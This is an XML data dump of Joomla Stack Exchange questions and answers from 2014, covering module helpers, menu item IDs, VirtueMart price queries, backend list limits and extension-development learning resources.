  <row Id="3569" PostTypeId="2" ParentId="3567" CreationDate="2014-07-11T19:16:44.817" Score="1" Body="&lt;p&gt;I am not sure I understand your issue, because you presented no error message or something. The debugger should take you inside &lt;code&gt;JModuleHelper::load()&lt;/code&gt; as well. My guess is that you don't provide the ItemId which is used by this function, but this is a guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be advised that &lt;a href=&quot;http://docs.joomla.org/JModuleHelper/getModule&quot; rel=&quot;nofollow&quot;&gt;JModuleHelper::getModule()&lt;/a&gt; has two parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$name&lt;/li&gt;&#xA;&lt;li&gt;$title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should be able to narrow your search by providing the title (somehow) as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-11T19:16:44.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3570" PostTypeId="1" AcceptedAnswerId="3603" CreationDate="2014-07-11T21:53:52.613" Score="2" ViewCount="1517" Body="&lt;p&gt;I've set up a site using a RocketTheme template. On the homepage there are several blog items (articles of the blog category). The homepage item ID is 110.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a &lt;code&gt;blog&lt;/code&gt; menu item (articles-&gt; category: blog) in the main menu. Its item ID is 180.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the site there's also a blog module that pull articles of the blog category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that no matter where I click a blog item link, in the homepage, the module or the actual blog menu item, it opens the blog article in item ID 110, which is the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most tutorials and answers say that the way around this is to create a specific menu item for the category-- but I've done this and still have the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1629" LastEditDate="2014-12-16T14:53:51.880" LastActivityDate="2015-05-04T14:05:39.520" Title="Menu items and item ID" Tags="|joomla-3.3.x|articles|menu-item|gantry|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostTypeId="2" ParentId="2458" CreationDate="2014-07-11T21:59:02.487" Score="0" Body="&lt;p&gt;&lt;strong&gt;And here's the solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get $price from somewhere else.. then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($price &amp;gt; 0 )&#xA;{&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('a.product_price', 'a.product_tax_id', 'b.virtuemart_product_id', 'b.product_weight')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_product_prices', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__virtuemart_products', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.virtuemart_product_id') . ' = ' . $db-&amp;gt;quoteName('b.virtuemart_product_id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.product_tax_id') . ' = 4')&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('a.virtuemart_product_id') . ' DESC');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadAssocList();&#xA;foreach($results as $newresults){&#xA;    $weight = $newresults['product_weight'];&#xA;    $pricenew = $price * $weight;&#xA;$nuquery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;update($db-&amp;gt;quoteName('#__virtuemart_product_prices'))&#xA;    -&amp;gt;set($db-&amp;gt;quoteName('product_price') . ' = ' . $db-&amp;gt;quote($pricenew))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('virtuemart_product_id') . ' = ' . $db-&amp;gt;quote($newresults['virtuemart_product_id']));&#xA;    $db-&amp;gt;setQuery($nuquery);&#xA;    $updresult = $db-&amp;gt;query();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1590" LastActivityDate="2014-07-11T21:59:02.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostTypeId="2" ParentId="3567" CreationDate="2014-07-11T23:51:13.787" Score="1" Body="&lt;p&gt;There's no need to use JModuleHelper to retrieve module parameters in the helper class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every module instance is properly created and a context variable $params is assigned for paramaters usage. For instance mod_example has $params initialized, you can just call your helper class sending the whole $params, or specific variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;strong&gt;mod_menu&lt;/strong&gt; works in this way, sending the layout parameter to the helper class modMenuHelper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Include the syndicate functions only once&#xA;require_once dirname(__FILE__).'/helper.php';&#xA;&#xA;$list   = modMenuHelper::getList($params);&#xA;$app    = JFactory::getApplication();&#xA;$menu   = $app-&amp;gt;getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;$active_id = isset($active) ? $active-&amp;gt;id : $menu-&amp;gt;getDefault()-&amp;gt;id;&#xA;$path   = isset($active) ? $active-&amp;gt;tree : array();&#xA;$showAll    = $params-&amp;gt;get('showAllChildren');&#xA;$class_sfx  = htmlspecialchars($params-&amp;gt;get('class_sfx'));&#xA;&#xA;if(count($list)) {&#xA;    require JModuleHelper::getLayoutPath('mod_menu', $params-&amp;gt;get('layout', 'default'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-11T23:51:13.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3573" PostTypeId="2" ParentId="3563" CreationDate="2014-07-12T00:02:29.550" Score="0" Body="&lt;p&gt;&lt;strong&gt;SobiPro&lt;/strong&gt; is an excellent Multi-Directory extension. &lt;a href=&quot;https://www.sigsiu.net/sobipro.html&quot; rel=&quot;nofollow&quot;&gt;https://www.sigsiu.net/sobipro.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create multiple sections, each one with its own field structure.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Books&lt;/li&gt;&#xA;&lt;li&gt;DVDs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In a very short time, you can have the whole Multi-Directory solution working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, it's a multi-section component with dynamic fields, a full CCK, and a templating subsystem based on XSL. So, it has an additional level of complexity on top of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, I always choose it to implement catalogs. It's a proven solution already developed waiting to be customized, and the effort to work with it is smaller than developing a whole custom directory.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-12T00:02:29.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostTypeId="1" CreationDate="2014-07-12T07:07:15.603" Score="-2" ViewCount="36" Body="&lt;p&gt;I am using Joomla! for the very first time. I need to make some chamges in this &lt;a href=&quot;http://www.totallyweb.com.au/icon/news/company-announcements.html&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not  know from where it is coming. Can anyody give me idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1636" LastEditorUserId="174" LastEditDate="2014-07-31T12:09:04.430" LastActivityDate="2014-07-31T12:09:04.430" Title="from which file code is coming" Tags="|component|" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-12T09:54:27.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostTypeId="2" ParentId="3574" CreationDate="2014-07-12T08:45:06.050" Score="3" Body="&lt;p&gt;The entries are coming from a custom component named &lt;code&gt;iconenergy&lt;/code&gt; as you can see if you click on the 2013 list link &lt;code&gt;?option=com_iconenergy&amp;amp;Itemid=74&amp;amp;date=2013&lt;/code&gt;. You can probably add new entries or edit existing ones from the backend menu (...com.au/icon/administrator) of your joomla installation under the dropdown &lt;code&gt;components&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2014-07-12T08:45:06.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3576" PostTypeId="1" CreationDate="2014-07-12T10:37:46.960" Score="7" ViewCount="372" Body="&lt;p&gt;I like Markdown a lot and I would like to use github to save the content there (also with the added benefit that anybody can submit a PR).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not interested in a Markdown editor for Joomla, just an extension that can retrieve Markdown files from github, and transform them in HTML (additionally to cache them for a period).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar with what JoomlaTools does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomlatools/developer.joomlatools.com&quot;&gt;github&lt;/a&gt; =&gt; &lt;a href=&quot;http://developer.joomlatools.com&quot;&gt;website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-09T20:47:19.667" Title="Solution for Using Markdown Content from github?" Tags="|github|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostTypeId="2" ParentId="2540" CreationDate="2014-07-12T15:53:42.353" Score="1" Body="&lt;p&gt;I think this extension might work. The code doesn't appear to be file based, it's folder based, but you might be able to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/directory-a-documentation/downloads/14306&quot; rel=&quot;nofollow&quot;&gt;QuickDownload&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-07-12T15:53:42.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostTypeId="1" CreationDate="2014-07-12T16:46:03.310" Score="0" ViewCount="523" Body="&lt;p&gt;I'm building a conference event site and now that I have a retina screen MacBook Pro of course everything looks like crap. I grafted retina.js into a Rocket Theme template, and it works, but it doesn't work for rollovers for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative to this script that will pull @2x images for regular images places in JCE using the image editor and that have rollover images set for them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried retina.js in both the header and then just sticking it in the debug module area. Neither one will make the rollover images go @2x.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-07-17T16:08:57.953" Title="Is there an alternative to Retina.js that works properly with JCE rollover images?" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3579" PostTypeId="1" AcceptedAnswerId="3586" CreationDate="2014-07-12T19:08:46.960" Score="23" ViewCount="14156" Body="&lt;p&gt;I worked extensively in Joomla 1.0.15 version and developed multiple extensions. Also, I continued my developed in Joomla 1.5.x&#xA;But, my developed discontinued after this release. Now, I want to start my development again with Joomla 3.x. I can see that Joomla has made multiple enhancement like MVC, responsive template, workflow and many more.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can someone provide me the easiest roadmap and tutorials links for&#xA;this? &lt;/li&gt;&#xA;&lt;li&gt;What is the new workflow now ? &lt;/li&gt;&#xA;&lt;li&gt;What is the new MVC architecture ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1637" LastEditorUserId="1629" LastEditDate="2014-09-03T14:08:04.510" LastActivityDate="2020-12-10T07:54:27.847" Title="Joomla 3.x extension development tutorial for a beginner developer" Tags="|component|development|cms|module|extensions|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostTypeId="2" ParentId="3579" CreationDate="2014-07-12T20:39:54.287" Score="8" Body="&lt;p&gt;I can recommend the official doc page. There is a section for developers which includes also tutorials. &lt;a href=&quot;http://docs.joomla.org/Portal:Developers&quot;&gt;http://docs.joomla.org/Portal:Developers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David Hurley is currently doing a series of short videos which explain how to develop various things. &lt;a href=&quot;http://dbhurley.com/jd101-joomla-development-tutorial-series/&quot;&gt;http://dbhurley.com/jd101-joomla-development-tutorial-series/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API page is a good ressource as well. &lt;a href=&quot;http://api.joomla.org/&quot;&gt;http://api.joomla.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should help get you started.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-07-13T09:30:55.370" LastActivityDate="2014-07-13T09:30:55.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3581" PostTypeId="2" ParentId="2259" CreationDate="2014-07-13T07:41:11.223" Score="1" Body="&lt;p&gt;The way I have done this previously is to use a menu system that allows modules to be inserted (e.g. &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/roknavmenu&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokNavMenu&lt;/a&gt;) and then use &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; in the module to query the database and display the appropriate menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not be the most efficient method but seems to work fine and is fairly easy to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The longest task was to style the menu items the same as the existing styling in the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case, the Tour Operator only has to update the tours and the menu is built dynamically based on what tours are entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the end result with the &quot;Day Tours&quot; module extracting all the active Day Tours from the database and building the links. There are similar modules for Overnight Trips and Extended Tours etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSNKf.jpg&quot; alt=&quot;Dynamic menu using RokNavMenu and modules&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:58:43.857" LastActivityDate="2016-06-24T10:58:43.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3582" PostTypeId="2" ParentId="1007" CreationDate="2014-07-13T08:35:59.827" Score="1" Body="&lt;p&gt;If I dont want to make a new menu module for a task like this I tend to reuse the class on the item. &#xA;Then in a mod_menu override I then put an (if strpos($item-&gt;anchor_css, 'no-follow') !== false) { ## your adding html }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/dogstrapv1/html/mod_menu/default.php and its sub overrides like default_url.php&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-07-13T08:35:59.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3583" PostTypeId="2" ParentId="2516" CreationDate="2014-07-13T09:14:20.097" Score="1" Body="&lt;p&gt;A few suggestions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using any SEF extension, check in its url and 404error manager to see any entries related to this item/page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it might worth checking in the Joomla Redirect component if something is going on there in case you have it enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you could totally remove that item from the database and recreate it and re-link it with a new menu item, but first make sure you have remove from everywhere any references to this url - especially if you are using any SEF extension or the Redirect component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ahh... and before checking again in the front-end - do clear all caches in Joomla and in the browser and refresh the page.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-07-13T11:17:41.287" LastActivityDate="2014-07-13T11:17:41.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostTypeId="1" AcceptedAnswerId="3585" CreationDate="2014-07-13T09:53:51.593" Score="1" ViewCount="2244" Body="&lt;p&gt;Do you have any idea how I could set by default &quot;display All&quot; instead of &quot;display 20&quot;? I would need it for category manager, menu manager, and module manager?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-13T15:25:29.127" Title="Set display All by default in backend for category/menu/module" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3585" PostTypeId="2" ParentId="3584" CreationDate="2014-07-13T12:22:13.517" Score="1" Body="&lt;p&gt;There is a global setting for all lists in the Global Configuration of Joomla.&#xA;Global Configuration -&gt; Site -&gt; Default List Limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can specify your list limit. This will be the default for all lists.&#xA;However there is no &quot;All&quot; option.&#xA;If you need to set it to all, you will have to &quot;hack&quot; a bit the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file you need is in:&#xA;/administrator/components/com_config/model/form/application.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line around 715, you will see the select field for the default list limit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;list_limit&quot;&#xA;    type=&quot;list&quot;&#xA;    default=&quot;20&quot;&#xA;    label=&quot;COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL&quot;&#xA;    description=&quot;COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC&quot;&#xA;    filter=&quot;integer&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;5&quot;&amp;gt;J5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10&quot;&amp;gt;J10&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;15&quot;&amp;gt;J15&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;20&quot;&amp;gt;J20&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;25&quot;&amp;gt;J25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;30&quot;&amp;gt;J30&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50&quot;&amp;gt;J50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100&quot;&amp;gt;J100&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to add the JALL option like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;list_limit&quot;&#xA;    type=&quot;list&quot;&#xA;    default=&quot;20&quot;&#xA;    label=&quot;COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL&quot;&#xA;    description=&quot;COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC&quot;&#xA;    filter=&quot;integer&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;5&quot;&amp;gt;J5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10&quot;&amp;gt;J10&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;15&quot;&amp;gt;J15&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;20&quot;&amp;gt;J20&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;25&quot;&amp;gt;J25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;30&quot;&amp;gt;J30&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50&quot;&amp;gt;J50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100&quot;&amp;gt;J100&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;JALL&quot;&amp;gt;JALL&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be aware that you will have to maintain this modification after any updates.            &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-07-13T15:25:29.127" LastActivityDate="2014-07-13T15:25:29.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3586" PostTypeId="2" ParentId="3579" CreationDate="2014-07-13T12:36:09.103" Score="26" Body="&lt;p&gt;I will provide the list of my bookmarked links and a list with links for Joomla Development Books, with various resources all around Joomla Development. I hope they will be useful for anyone interested:&lt;/p&gt;&#xA;&lt;h2&gt;Joomla Beginner Users start here:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16529/joomla-beginner-tutorials-how-to-start-with-joomla&quot;&gt;Joomla Beginner Tutorials - How to start with Joomla?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Glossary&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Glossary&lt;/strong&gt;&lt;/a&gt; - It's a good idea to get familiar with Joomla Glossary first.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;2020 Update:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I just found this website and YouTube channel, which contains rich content and many video tutorials around Joomla. It worths listing it here.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.learnjoomlafast.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.learnjoomlafast.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/c/MathewTamin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/c/MathewTamin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;JSE Useful Links:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/12143/what-tools-can-i-use-to-help-assist-me-with-joomla-development&quot;&gt;What tools can I use to help assist me with Joomla development?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17108/what-is-the-joomla-execution-flow-after-a-request-reach-to-index-php-till-the-f/17109#17109&quot;&gt;&lt;strong&gt;Joomla Application Execution Flow&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Joomla Development Online Resources:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Absolute Basics of How a Component Functions&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Component_Program_Flow&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Component Program Flow&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Developing_a_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Developing a MVC Component&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chillcreations.com/news/joomla/559-joomla-3-extension-development-tips-resources&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla! 3 extension development tips and resources&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.joomla.org/manual/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Developer Manual&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-aug-2013/item/1450-getting-started-with-composer-and-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Getting Started with Composer and Joomla!&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lendr.websparkinc.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Lendr - Joomla Component Tutorial&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.joomlatutorials.com/joomla-tutorials/joomla-3-2-tutorials&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla 3.2 Tutorials&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla! API&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Joomla &amp;amp; PHP Development Books:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-jan-2012/item/655-Download-the-free-Joomla-Development-Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla! Development Guide (FREE - PDF Download)&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joomlaprogrammingbook.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla! Programming&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/1782168370&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Learning Joomla! 3 Extension Development&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.yireo.com/books/programming-joomla-plugins-book&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Programming Joomla Plugins&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/143021628X&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Advanced Joomla!&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/1430260319&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;PHP Objects, Patterns and Practice&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Recommended Udemy Video Tutorials&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.udemy.com/joomla-extension-development-with-vagrant/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla! Extension Development Workflow with Vagrant&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;*This one made by our JSE moderator Valentin Despa&lt;/sub&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.udemy.com/learning-joomla-3-extension-development/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Learning Joomla! 3 Extension Development - (paid)&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Other Useful Links&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Category:Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Documentation Resources: Development&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Developers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Developers Portal&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/graph_class.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Class Hierarchy Graph&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2020-12-10T07:54:27.847" LastActivityDate="2020-12-10T07:54:27.847" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
